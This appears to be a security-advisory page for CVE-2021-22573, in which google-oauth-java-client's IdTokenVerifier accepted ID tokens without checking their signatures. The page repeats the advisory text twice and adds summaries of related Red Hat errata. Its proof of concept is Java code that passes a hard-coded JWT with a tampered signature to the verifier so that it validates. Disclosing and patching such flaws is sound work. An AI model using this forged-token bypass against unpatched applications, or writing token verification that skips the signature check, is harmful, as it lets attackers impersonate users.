Headline
GHSA-hw42-3568-wj87: google-oauth-java-client improperly verifies cryptographic signature
Summary
The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token’s payload comes from valid provider, not from someone else.
An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application.
If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request.
Reporter: Tamjid al Rahat, contributor
Patches
The issue was fixed in the 1.33.3 version of the library
Proof of Concept
To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.
/** A default http transport factory for testing */
static class DefaultHttpTransportFactory implements HttpTransportFactory {
public HttpTransport create() {
return new NetHttpTransport();
}
}
// The below token has some modified bits in the signature
private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE =
"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" +
"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" +
"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" +
"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" +
"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" +
"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" +
"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" +
"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg";
IdTokenVerifier tokenVerifier =
new IdTokenVerifier.Builder()
.setClock(clock)
.setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com")
.setHttpTransportFactory(new DefaultHttpTransportFactory())
.build();
// verification will return true despite modified signature for versions <1.33.3
tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));
Remediation and Mitigation
Update to the version 1.33.3 or higher
If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example: google-auth-library-java google-api-java-client
Timeline
Date reported: 12 Dec 2021 Date fixed: 13 Apr 2022 Date disclosed: 2 May 2022
For more information
If you have any questions or comments about this advisory:
- Open an issue in the google-oauth-java-client repo
Summary
The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token’s payload comes from valid provider, not from someone else.
An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application.
If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request.
Reporter: Tamjid al Rahat, contributor
Patches
The issue was fixed in the 1.33.3 version of the library
Proof of Concept
To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.
/** A default http transport factory for testing */
static class DefaultHttpTransportFactory implements HttpTransportFactory {
public HttpTransport create() {
return new NetHttpTransport();
}
}
// The below token has some modified bits in the signature
private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE =
"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" +
"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" +
"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" +
"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" +
"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" +
"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" +
"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" +
"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg";
IdTokenVerifier tokenVerifier =
new IdTokenVerifier.Builder()
.setClock(clock)
.setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com")
.setHttpTransportFactory(new DefaultHttpTransportFactory())
.build();
// verification will return true despite modified signature for versions <1.33.3
tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));
Remediation and Mitigation
Update to the version 1.33.3 or higher
If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example:
google-auth-library-java
google-api-java-client
Timeline
Date reported: 12 Dec 2021
Date fixed: 13 Apr 2022
Date disclosed: 2 May 2022
For more information
If you have any questions or comments about this advisory:
- Open an issue in the google-oauth-java-client repo
References
- GHSA-hw42-3568-wj87
- https://nvd.nist.gov/vuln/detail/CVE-2021-22573
- googleapis/google-oauth-java-client#872
- googleapis/google-oauth-java-client@c634ad4
Related news
Red Hat Security Advisory 2022-7177-01 - This release of Camel for Spring Boot 3.14.5 serves as a replacement for Camel for Spring Boot 3.14.2 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References.
A minor version update (from 3.14.2 to 3.14.5) is now available for Camel for Spring Boot. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-22573: google-oauth-client: Token signature not verified
Red Hat Security Advisory 2022-5532-01 - This release of Red Hat Fuse 7.11.0 serves as a replacement for Red Hat Fuse 7.10 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References. Issues addressed include HTTP request smuggling, bypass, code execution, denial of service, deserialization, information leakage, memory leak, privilege escalation, and traversal vulnerabilities.
A minor version update (from 7.10 to 7.11) is now available for Red Hat Fuse. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2020-7020: elasticsearch: not properly preserving security permissions when executing complex queries may lead to information disclosure * CVE-2020-9484: tomcat: deserialization flaw in session persistence storage leading to RCE * CVE-2020-15250: ju...
Red Hat Security Advisory 2022-5030-01 - This release of Red Hat Fuse 7.10.2.P1 serves as a replacement for Red Hat Fuse 7.10 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References.
A patch update (from 7.10.1 to 7.10.2.P1) is now available for Red Hat Fuse Online. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-22573: google-oauth-client: Token signature not verified * CVE-2022-1650: eventsource: Exposure of Sensitive Information
Red Hat Security Advisory 2022-4932-01 - This release of Red Hat Fuse 7.10.1 serves as a replacement for Red Hat Fuse 7.10 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References.
A patch update (from 7.10.2 to 7.10.2.P1) is now available for Red Hat on OpenShift for EAP, Karaf, and Spring Boot. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-22573: google-oauth-client: Token signature not verified
Google last month addressed a high-severity flaw in its OAuth client library for Java that could be abused by a malicious actor with a compromised token to deploy arbitrary payloads. Tracked as CVE-2021-22573, the vulnerability is rated 8.7 out of 10 for severity and relates to an authentication bypass in the library that stems from an improper verification of the cryptographic signature.